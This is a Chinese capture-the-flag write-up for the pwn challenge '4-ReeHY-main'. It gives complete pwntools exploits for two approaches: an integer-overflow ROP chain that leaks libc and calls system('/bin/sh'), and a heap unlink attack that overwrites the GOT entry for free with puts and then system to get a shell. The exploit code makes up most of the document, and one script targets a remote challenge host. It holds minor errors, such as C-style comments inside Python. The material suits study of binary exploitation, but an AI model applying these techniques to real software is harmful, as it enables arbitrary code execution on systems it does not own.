4-ReeHY-main

这道题目有两种做法,一个是整数溢出,一个是unlink,这里主要介绍unlink。


一、整数溢出

程序主要分为三块主要内容,分别是创建文本,删除文本,编辑文本。首先分析create部分

可以看到这里有一处明显的整数溢出,利用这一点我们可以构造ROP链泄露libc基址并执行system函数。下面是exp

from pwn import *

#p = process('./4-ReeHY-main-100')
p = remote("111.198.29.45", 31226)

elf = ELF('./4-ReeHY-main-100')
libc = elf.libc
pop_addr = 0x0000000000400DA3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0000000000400C8C
start_addr = 0x0000000000400760
gadget_sym = 0x45216

print p.recvuntil('$ ')
p.sendline('1234')
print p.recvuntil('$ ')
p.sendline('1')
print p.recvuntil('Input size\n')
p.sendline('-1')
print p.recvuntil('Input cun\n')
p.sendline('1')
payload = 'a' * 0x88 + '\x00' * 8 + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
print p.recvuntil('Input content\n')
p.sendline(payload)
data = p.recv(numb = 6)
data = data.ljust(8,'\x00')
data = u64(data)
puts_addr = data
print 'puts_addr:' + hex(data)

libc_addr = puts_addr - libc.symbols['puts']
print 'libc_addr:' + hex(libc_addr)
sys_addr = libc_addr + libc.symbols['system']
print 'sys_addr:' + hex(sys_addr)
bin_addr = libc_addr + libc.search('/bin/sh').next()
print 'bin_Addr:' + hex(bin_addr)
gadget_addr = libc_addr + gadget_sym
print 'gadget_addr:' + hex(gadget_addr)

print p.recvuntil('$ ')
p.sendline('1234')
print p.recvuntil('$ ')
p.sendline('1')
print p.recvuntil('Input size\n')
p.sendline('-1')
print p.recvuntil('Input cun\n')
p.sendline('1')
payload = 'a' * 0x88 + '\x00' * 8 + 'a' * 8 + p64(pop_addr) + p64(bin_addr) + p64(sys_addr) + p64(start_addr)
#payload = 'a' * 0x88 + '\x00' * 8 + 'a' * 8 + p64(gadget_addr)
print p.recvuntil('Input content\n')
p.sendline(payload)
p.interactive()


分析代码可以看到在delete删除文本的时候,在free掉堆块之后并没有清除掉地址数组里的指针

于是我们的整个攻击流程就基本确定下来了,就是先create两个smallbin大小的堆块并释放,使smallbin中有空闲堆块。然后重新申请较大的堆块,伪造堆块并进行unlink攻击。这里我们可以先将一个指针改为可以修改的任意指针,这样我们就可以很方便的多次对任意位置写了。最后我们将free函数先改为puts函数泄露libc基址,然后再将其改为system函数getshell。当然这里面还有很多需要注意的细节,这些会在exp中提到

from pwn import *

context.log_level = True

p = process('./4-ReeHY-main-100')
#p = remote('111.198.29.45', 55988)
elf = ELF('4-ReeHY-main-100')
libc = elf.libc
#gdb.attach(p, 'b* 0x400aa5')

puts_plt = elf.plt['puts']
free_got = elf.got['free']
puts_got = elf.got['puts']


def create(size, cun, content):
    print p.recvuntil('$')
    p.sendline('1')
    print p.recvuntil('Input size\n')
    p.sendline(str(size))
    print p.recvuntil('Input cun\n')
    p.sendline(str(cun))
    print p.recvuntil('Input content\n')
    p.sendline(content)

def dele(cun):
    print p.recvuntil('$')
    p.sendline('2')
    print p.recvuntil('Chose one to dele\n')
    p.sendline(str(cun))

def edit(cun, content):
    print p.recvuntil('$')
    p.sendline('3')
    print p.recvuntil('Chose one to edit\n')
    p.sendline(str(cun))
    print p.recvuntil('Input the content\n')
    p.sendline(content)

def edit2(cun, content):
    print p.recvuntil('$')
    p.sendline('3')
    print p.recvuntil('Chose one to edit\n')
    p.sendline(str(cun))
    print p.recvuntil('Input the content\n')
    p.send(content)


print p.recvuntil('$')
p.sendline('b0m13')

/*先创建好“/bin/sh”字符串以待后面使用*/
create(0x20, 4, '/bin/sh')
create(0x100, 0, 'chunk0')    #size要大于0x80,否则会将空闲堆块加入到fastbin中
create(0x100, 1, 'chunk1')

/*获得smallbin中的空闲堆块*/
dele(0)
dele(1)

/*构造伪装堆块,将一个指针改为可以修改的任意指针,注意这里只有这个可以,因为还有标志位要考虑进来*/
payload1 = p64(0) + p64(0x100) + p64(0x6020e8) + p64(0x602100 - 0x10) + 'a' * (0x100 - 32) + p64(0x100) + p64(0x110)
create(0x210, 2, payload1)

/*unlink攻击*/
dele(1)

/*覆盖freeputs*/
payload2 = p64(0) + p64(puts_got) + p64(1) + p64(free_got) + p64(1)
edit(2, payload2)

/*注意这里'\n'会覆盖后面的got表项,所以要把'\n'去掉*/
edit2(2, p64(puts_plt))

dele(1)

puts_addr = u64(p.recv(6) + '\x00' * 2)
print 'puts_addr:' + hex(puts_addr)

libc_addr = puts_addr - libc.symbols['puts']
print 'libc_addr:' + hex(libc_addr)

sys_addr = libc_addr + libc.symbols['system']
print 'sys_addr:' + hex(sys_addr)

/*覆盖freesystem*/
edit2(2, p64(sys_addr))

/*getshell*/
dele(4)
p.interactive()